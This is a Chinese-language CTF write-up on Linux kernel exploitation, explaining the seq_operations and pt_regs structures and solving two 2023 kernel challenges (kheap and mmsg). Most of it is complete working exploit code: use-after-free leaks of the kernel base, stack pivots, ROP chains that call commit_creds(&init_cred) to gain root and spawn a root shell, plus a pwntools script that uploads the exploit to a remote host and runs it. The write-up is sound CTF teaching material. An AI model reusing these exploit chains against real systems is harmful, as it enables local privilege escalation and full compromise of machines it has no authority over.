Kernel Pwn Struct seq_operations and Struct pt_regs
seq_operations
代码分析
当打开一个 stat 文件, 如 /proc/self/stat
时, 内核会从 kalloc-32 中分配一个 seq_operations
(0x20), 这个结构体如下:
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
这个结构体在初始化的时候会写成内核的函数. 当我们去 read 这个文件时, 会调用 start 函数指针.
需要注意的是, stat 文件只能以只读模式打开.
功能
如果有 kmalloc-32 的 UAF, 那么可以:
- leak kbase (r)
- hijack rip (w)
泄漏内核基地址
结构体在初始化时, 会把四个函数指针都写成内核函数地址, 所以可以关闭 kaslr 读一次, 获得偏移. 之后用偏移即可计算基地址
控制 RIP
使用 read 去读文件时, 会调用 start 指针. 如果将指针覆盖, 便可以控制 rip. 如果可能, 还可以配合 pt_regs
结构体进行 ROP.
例题 2023 pwnhub 公开赛 kheap
启动脚本:
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-monitor /dev/null \
-append "console=ttyS0 oops=panic panic=1 nokaslr quiet" \
-cpu kvm64,+smep \
-smp cores=2,threads=1 \
-nographic \
-s
可以看到仅有 smep 保护.
init:
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
insmod /lib/module/kheap.ko
chmod 666 /dev/kheap
chmod 600 flag
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 0 -f
代码逻辑很简单, ioctl 如下:
__int64 __fastcall kheap_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
__int64 v3; // rdx
__int64 v4; // r12
unsigned __int64 idx; // r12
info request; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v8; // [rsp+10h] [rbp-20h]
_fentry__(file, cmd, arg);
v4 = v3;
v8 = __readgsqword(0x28u);
mutex_lock(&mutex_0);
if ( !copy_from_user(&request, v4, 0x10LL) )
{
idx = request.idx;
if ( request.idx <= 15 )
{
switch ( cmd )
{
case 0x10000u:
if ( !list[request.idx] )
{
list[idx] = (char *)kmem_cache_alloc_trace(kmalloc_caches[5], 0xCC0LL, 0x20LL);// 0x20
if ( list[request.idx] )
goto LABEL_7;
}
break;
case 0x10001u:
if ( list[request.idx] )
{
kfree();
list[request.idx] = 0LL;
goto LABEL_7;
}
break;
case 0x10002u:
if ( list[request.idx] )
{
select = list[request.idx];
goto LABEL_7;
}
break;
case 0x6666u:
copy_from_user(admin_info, request.buf, 0x80LL);
break;
default:
LABEL_7:
mutex_unlock(&mutex_0);
return 0LL;
}
}
}
mutex_unlock(&mutex_0);
return -1LL;
}
其中 info request 结构如下:
struct info
{
unsigned __int64 idx;
char *buf;
};
- 0x10000 从 kmalloc-32 中分配一个 object
- 0x10001 kfree
- 0x10002 把当前选择的 object 地址赋值给一个全局变量 select
- 0x6666 向全局变量 admin_info 中写入内容
还实现了 read 和 write 如下:
ssize_t __fastcall kheap_read(file *file, char *buf, size_t len, loff_t *offset)
{
unsigned __int64 v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
char *v7; // r13
_fentry__(file, (_DWORD)buf, len);
result = 0LL;
if ( v4 )
{
v6 = v4;
if ( v4 > 0x20 )
return -1LL;
v7 = select;
_check_object_size(select, v4, 1LL);
if ( copy_to_user(buf, v7, v6) )
return -1LL;
else
return v6;
}
return result;
}
ssize_t __fastcall kheap_write(file *file, const char *buf, size_t len, loff_t *offset)
{
unsigned __int64 v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
char *v7; // r13
_fentry__(file, (_DWORD)buf, len);
result = 0LL;
if ( v4 )
{
v6 = v4;
if ( v4 > 0x20 )
return -1LL;
v7 = select;
_check_object_size(select, v4, 0LL);
if ( copy_from_user(v7, buf, v6) )
return -1LL;
else
return v6;
}
return result;
}
(ida 反出来有点问题, v4 是 rdx, 应该是 len)
可以看到这两个函数就是对选择的 (select 变量指向的) object 读写操作.
存在一个很明显的 UAF.
利用比较简单, 使用 seq_operations 结构体劫持 rip. 如果可以找到一个 gadget 把 rsp 改成可控的用户空间地址 (没 smap), 就可以进行 ROP 了.
首先调试一下, 看看到 start 这个位置时, 各个寄存器的状态, 有没有可控或者稳定的寄存器.
[ 12.600893] general protection fault: 0000 [#1] SMP PTI
[ 12.602850] CPU: 1 PID: 129 Comm: exp Tainted: G OE 5.11.0-40-generic #44~20.04.2-Ubuntu
[ 12.603378] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014
[ 12.604064] RIP: 0010:0xdeadbeefdeadbeef
[ 12.604999] Code: Unable to access opcode bytes at RIP 0xdeadbeefdeadbec5.
[ 12.605335] RSP: 0018:ffffc9000019fdc0 EFLAGS: 00000246
[ 12.605616] RAX: deadbeefdeadbeef RBX: ffffc9000019fe60 RCX: 0000000000000000
[ 12.605882] RDX: 0000000000400cc0 RSI: ffff888005582730 RDI: ffff888005582708
[ 12.606123] RBP: ffffc9000019fe18 R08: 0000000000001000 R09: 0000000000000000
[ 12.606345] R10: ffff8880053e9000 R11: 0000000000000000 R12: 0000000000000000
[ 12.606571] R13: ffff888005002a00 R14: ffff888005582730 R15: ffff888005582708
可以发现, rax 是 start 的值, 也就是我们写入的东西. rdx 稳定为 0x400cc0, r8 稳定为 0x1000, 还有些寄存器稳定为 0.
然后找一下 gadget, 非常幸运地找到了 0xffffffff8106f036 : mov esp, edx ; mov eax, r12d ; pop r12 ; pop rbp ; ret
. 我们可以通过这个 gadget 去进行栈迁移到用户空间 0x400cc0. 0x400cc0 已经被程序占用了, 是个只读空间, 但是没关系, 用 mprotect 去把它权限改了, 就可以在上面构造 ROP 链了.
或者更通用的是用 xchg eax, esp ; ret
, 因为 rax 我们是知道的, 而 xchg eax, esp 会将 rsp 的低 32 位赋为 rax 的低 32 位, 高位补 0. 这样 rsp 在用户空间, mmap 一下就可以写东西了. 这个方法可能更适用一些, 不依赖于其他寄存器环境 (没尝试过其他版本的 kernel rax 的值还是不是 start). 不过做题时还是得现场观察.
exp:
// gcc exp.c -static -masm=intel -g -o exp
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
void success(const char *msg) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
}
void fail(const char *msg) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
}
void debug(const char *msg) {
#ifdef DEBUG
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
#endif
}
void printvar(void print_handle(const char *), char *hint, size_t var) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "%s: 0x%lx\n", hint, var);
print_handle(buf);
free(buf);
}
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
user_sp &= ~0xf;
success("Status has been saved.\n");
printvar(debug, "cs", user_cs);
printvar(debug, "ss", user_ss);
printvar(debug, "rsp", user_sp);
printvar(debug, "rflags", user_rflags);
}
void getRootShell() {
success("Backing from the kernelspace.\n");
if(getuid()) {
fail("Failed to get the root!\n");
exit(-1);
}
success("Successful to get the root. Execve root shell now...\n");
system("/bin/sh");
exit(0);// to exit the process normally instead of segmentation fault
}
#define ALLOC 0x10000
#define FREE 0x10001
#define SELECT 0x10002
#define STACK 0x400cc0
size_t start_base = 0xffffffff8133f980;
size_t init_cred = 0xffffffff82c6b920;
size_t commit_creds = 0xffffffff810ce710;
size_t mov_esp_edx_pop_r12_rbp_ret = 0xffffffff8106f036;
size_t pop_rdi_ret = 0xffffffff8102517a;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fc6;
size_t kernel_off = 0;
typedef struct inof_t {
size_t idx;
char* buf;
} info_t;
size_t seq_fd;
void pwn() {
int fd = open("/dev/kheap", O_RDWR);
info_t request;
request.idx = 0;
request.buf = calloc(0x20, 1);
memcpy(request.buf, "0123456789ABCDEF0123456789ABCDE", 0x20);
ioctl(fd, ALLOC, &request);
ioctl(fd, SELECT, &request);
ioctl(fd, FREE, &request);
seq_fd = open("/proc/self/stat", O_RDONLY);
read(fd, request.buf, 0x20);
size_t *tmp = (size_t *)request.buf;
kernel_off = tmp[0] - start_base;
printvar(success, "kernel_off", kernel_off);
pop_rdi_ret += kernel_off;
commit_creds += kernel_off;
init_cred += kernel_off;
swapgs_restore_regs_and_return_to_usermode += kernel_off;
tmp[0] = mov_esp_edx_pop_r12_rbp_ret + kernel_off;
write(fd, request.buf, 0x8);
mprotect((void*)(STACK & ~0xfff), 0x1000, PROT_READ | PROT_WRITE);
size_t *rop = (size_t *)STACK;
*rop++ = 0xdeadbeef;
*rop++ = 0xdeadbeef;
*rop++ = pop_rdi_ret;
*rop++ = init_cred;
*rop++ = commit_creds;
*rop++ = swapgs_restore_regs_and_return_to_usermode;
*rop++ = 0xdeadbeef;
*rop++ = 0xdeadbeef;
*rop++ = (size_t)getRootShell;
*rop++ = user_cs;
*rop++ = user_rflags;
*rop++ = user_sp;
*rop++ = user_ss;
read(seq_fd, request.buf, 0xdeadbeef);
}
int main() {
signal(SIGSEGV, getRootShell);
saveStatus();
pwn();
return 0;
}
pt_regs
系统调用陷入内核时, 会在内核栈上保存用户态 (准确来说是 trampoline 时) 的寄存器, 以便后续恢复. 这些寄存器在内核栈底形成了一个称为 pt_regs 的结构:
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};
在系统调用的过程中, 不是所有的寄存器都会被改变, 比如 r8 - r15, 他们会在压入 pt_regs 的时保持 syscall 之前的值. 这就为我们提供了布置数据的可能性. 如果在仅能劫持 rip 的情况下 (比如上面介绍的 seq_operations), 跳转到某个形如 add, rsp val; ret
的 gadget, 那么就有可能将 rsp 设置到内核栈的 pt_regs 上, 从而执行我们布置的 ROP 链.
不过, 这里能够控制的连续空间可能比较小. 比如 rbp, rbx 可能不是 syscall 前的值了, 导致无法控制连续的内存; 或者没有让 rsp 跳到高处的 gadget; 或者压根就找不到能够到 pt_regs 上的 gadget (比如上一题的环境就找不到). 所以这并不是一个万能的方法.
所以我们需要布置尽可能少的 ROP 链, 让我们成功提权并成功回落用户态. 这里可以用 commit_creds(&init_cred)
来提权, 然后可以找 swapgs; iretq
这种 gadget, 剩下的像 rip, cs, flags, rsp, ss 等回落需要的值, 只需要设置 rsp 就行. iretq 回到用户态, 触发段错误, 用户态捕获段错误信号, 在 handle 函数中启动 root shell 即可. 有没有 kpti 都可以这样. 这样一来, 我们最少只需要控制 5 个寄存器即可, 不过这 5 个不是连续的, 有一定的间隔. 如果间隔不满足, 可以尝试用 ret 跳一下.
具体还是需要调试, 抄一下 a3 师傅的调试板子.
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, 0x22222222;"
"mov r12, 0x33333333;"
"mov rbp, 0x44444444;"
"mov rbx, 0x55555555;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, 0x88888888;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;" // 这里假定通过 seq_operations->stat 来触发
"syscall"
);
例题 2023 巅峰极客 mmsg
这个题给的文件系统是 ext4 镜像 (第一次接触, 差点整不会了). 用如下命令来挂载:
mkdir ./rootfs
sudo mount -o loop rootfs.img ./rootfs
(进去以后没看到 init, 又一次傻了)
没有 init, 启动脚本在 /ect/init.d/rcS
, 查看:
#!/bin/sh
chown -R root:root /
chmod 700 /root
chown -R ctf:ctf /home/ctf
chown root:root /root/flag
chmod 600 /root/flag
mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs tmpfs /tmp
mkdir /dev/pts
mount -t devpts devpts /dev/pts
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict
insmod /root/mmsg.ko
chmod 666 /dev/mmsg
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
cd /home/ctf
# setsid cttyhack su ctf -c /bin/sh
setsid cttyhack setuidgid 1000 /bin/sh
poweroff -d 0 -f
可以看到模块挂在 /dev/mmsg, ko 和 flag 文件在 /root 里. 挂载的文件系统也遵守权限规则, 进入 /root 也要 root 权限. 把一些限制取消, 修改 uid gid 为 0, 方便做题.
之后卸载文件系统, 会把我们的修改保存. 卸载命令为:
sudo umount ./rootfs
qemu 启动脚本如下:
#!/bin/bash
qemu-system-x86_64 \
-s \
-m 256M \
-cpu host,+smep,+smap \
-smp cores=1 \
-kernel bzImage \
-hda rootfs.img \
-nographic \
-monitor none \
-snapshot \
-enable-kvm \
-append "console=ttyS0 root=/dev/sda rw rdinit=/sbin/init kaslr quiet oops=panic panic=1" \
-no-reboot
开启 kaslr, smep, smap. 查看一下 kpti 应该也是开着的.
这题还给了源代码, 非常友好.
首先定义了两个结构体, 以及 ioctl 所用的请求数据结构体
struct mmsg_head {
char description[16];
struct list_head list;
};
struct mmsg {
unsigned int token;
int size;
char *data;
struct list_head list;
};
struct mmsg_arg {
unsigned long token;
int top;
int size;
char *data;
};
根据题目提示, 简单看一下代码中涉及到的链表操作, 可以知道他是维护一个带有头节点的单向链表. 头就是 struct mmsg_head, 其他节点是 struct mmsg.
ioctl 支持的功能有:
- alloc: kmalloc 一个 mmsg, 并根据 size kmalloc data 成员, 然后插入链表 (表头之后一个)
- copy: 读取链表某个节点的 data
- recv: 读取链表某个节点的 data, 并从链表中删除这个节点, kfree 它和它的 data
- update: 更新某个节点的 data, kfree 原来的, kmalloc 新的
- get desc: 读取 mmsg_head 的 desc 字符串
- put desc: 修改 mmsg_head 的 desc 字符串
struct mmsg 中还有一些 token, size 变量, 但是与这题的利用无关, 就不详细说了.
可以发现, 在 copy 和 recv 的时候, 有如下代码:
if (arg.top) {
m = list_entry(&mmsg_head->list, struct mmsg, list);
} else {
m = find_mmsg(arg.token);
}
if (m == NULL || arg.size > MMSG_DATA_MAX || arg.size <= 0) {
ret = -EINVAL;
break;
}
这里非常奇怪, 如果传入的 arg.top 不为 0, 那么就是取链表头. 而接下来的操作把它和链表的其他节点看成一样的了. 比如 recv 功能, 后续代码为:
printk(KERN_INFO "mmsg recv\n");
copy_to_user((void __user *)arg.data, m->data, arg.size);
list_del(&m->list);
kfree(m->data);
kfree(m);
break;
这就是漏洞所在. 这里有 kfree(m)
, 如果我们将表头 kfree 掉了, 就会造成 mmsg_head 这个全局变量指针悬挂. 同时我们有 get 和 put desc 的功能, 也就是能够读写前 0x10 个字节. struct mmsg_head
结构体大小是 0x20, 所以我们有 kmalloc-32 的 UAF, 并且能够读写其中前 0x10 个字节.
这里就可以用 seq_operations 了. 先读一下获得内核偏移, 然后写 start 函数指针, 劫持 rip. 开了 smap, 就无法像上一个例题一样, 用用户空间的栈了.
调试一下, 发现执行到 start 时, rsp 距离 pt_regs 0x160. 并且非常幸运找到了 add rsp, 0x168; ret
这样的 gadget, 刚好能够跳到 r14 上.

从上图还可以看到, 除了 0xffffc900001c7f88 处的 0x246 无法控制外, 从 60 到 a0 都是可以控制的. 并且可以找到如下 gadget:

于是只需要布置如下寄存器, 即可布置整个 ROP 链:
mov r14, pop_rdi_ret
mov r13, init_cred
mov r12, commit_creds
mov rbp, swapgs_iretq
mov r8, lowest_byte_not_4 ; 最低字节不为 4 即可
exp 如下:
// musl-gcc exp.c -static -masm=intel -g -o exp -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
void success(const char *msg) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
}
void fail(const char *msg) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
}
void debug(const char *msg) {
#ifdef DEBUG
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
#endif
}
void printvar(void print_handle(const char *), char *hint, size_t var) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "%s: 0x%lx\n", hint, var);
print_handle(buf);
free(buf);
}
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
user_sp &= ~0xf;
success("Status has been saved.\n");
printvar(debug, "cs", user_cs);
printvar(debug, "ss", user_ss);
printvar(debug, "rsp", user_sp);
printvar(debug, "rflags", user_rflags);
}
void getRootShell() {
success("Backing from the kernelspace.\n");
if(getuid()) {
fail("Failed to get the root!\n");
exit(-1);
}
success("Successful to get the root. Execve root shell now...\n");
system("/bin/sh");
exit(0);// to exit the process normally instead of segmentation fault
}
#define MMSG_ALLOC 0x1111111
#define MMSG_COPY 0x2222222
#define MMSG_RECV 0x3333333
#define MMSG_UPDATE 0x4444444
#define MMSG_PUT_DESC 0x5555555
#define MMSG_GET_DESC 0x6666666
struct mmsg_arg {
unsigned long token;
int top;
int size;
char *data;
};
size_t start_base = 0xffffffff8120fac0;
size_t kernel_off = 0;
size_t add_rsp_0x168_ret = 0xffffffff81909b8c;
size_t pop_rdi_ret = 0xffffffff811aa376;
size_t init_cred = 0xffffffff8264c9a0;
size_t commit_creds = 0xffffffff8108d350;
size_t swapgs_iretq = 0xffffffff81c00ec6;
void pwn() {
int mmsg_fd = open("/dev/mmsg", O_RDWR);
struct mmsg_arg arg;
arg.token = 1;
arg.top = 1;
arg.size = 16;
arg.data = malloc(16);
size_t *data_8 = (size_t *)arg.data;
data_8[0] = 0x6161616161616161ll;
data_8[1] = 0;
ioctl(mmsg_fd, MMSG_PUT_DESC, &arg);
ioctl(mmsg_fd, MMSG_RECV, &arg);
int seq_fd = open("/proc/self/stat", O_RDONLY);
ioctl(mmsg_fd, MMSG_GET_DESC, &arg);
printvar(success, "start", data_8[0]);
kernel_off = data_8[0] - start_base;
printvar(success, "kernel off", kernel_off);
add_rsp_0x168_ret += kernel_off;
pop_rdi_ret += kernel_off;
init_cred += kernel_off;
commit_creds += kernel_off;
swapgs_iretq += kernel_off;
data_8[0] = add_rsp_0x168_ret;
ioctl(mmsg_fd, MMSG_PUT_DESC, &arg);
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, pop_rdi_ret;"
"mov r13, init_cred;"
"mov r12, commit_creds;"
"mov rbp, swapgs_iretq;"
"mov rbx, 0x55555555;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, user_sp;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, 4;" // 这里假定通过 seq_operations->stat 来触发
"syscall"
);
}
int main() {
signal(SIGSEGV, getRootShell);
saveStatus();
pwn();
return 0;
}
第一次在比赛中做出 kernel 题, 还有个交互脚本也贴一下吧:
from pwn import *
from pwnlib.util.iters import mbruteforce
import hashlib
import base64
context(os='linux', arch='amd64')#, log_level='debug')
io = remote('61.147.171.107', 13374)
n2b = lambda x : str(x).encode()
rv = lambda x : io.recv(x)
ru = lambda s : io.recvuntil(s, drop=True)
sd = lambda s : io.send(s)
sl = lambda s : io.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda p, s : io.sendafter(p, s)
sla = lambda p, s : io.sendlineafter(p, s)
sna = lambda p, n : sla(p, n2b(n))
ia = lambda : io.interactive()
rop = lambda r : flat([p64(x) for x in r])
ru(b'sha256(')
pre = ru(b' + ')
nonce = mbruteforce(
lambda s: hashlib.sha256(pre + s.encode()).hexdigest()[:5] == '00000',
string.ascii_letters + string.digits,
5,
threads=16
)
sla(b'nonce:', nonce)
with open("./exp", "rb") as f:
exp = base64.b64encode(f.read())
try_count = 1
while True:
sl('')
for i in range(0, len(exp), 0x200):
sla(b'/home/ctf $ ', b'echo -n "' + exp[i:i + 0x200] + b'" >> /tmp/b64_exp')
log.info(f"{i} / {len(exp)}")
sla(b'/home/ctf $ ', b'cat /tmp/b64_exp | base64 -d > /tmp/exploit')
sla(b'/home/ctf $ ', b'chmod +x /tmp/exploit')
sla(b'/home/ctf $ ', b'/tmp/exploit ')
break
context.log_level='debug'
ia()
以及由于 glibc 编译出来的实在是太大了, 硬是没发完就超时了 (期间还触发了一次远程启动 qemu 的 py 脚本的 bug). 于是装了个 musl-gcc 来编译, 他要链接一下头文件. 命令如下:
musl-gcc exp.c -static -masm=intel -g -o exp -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/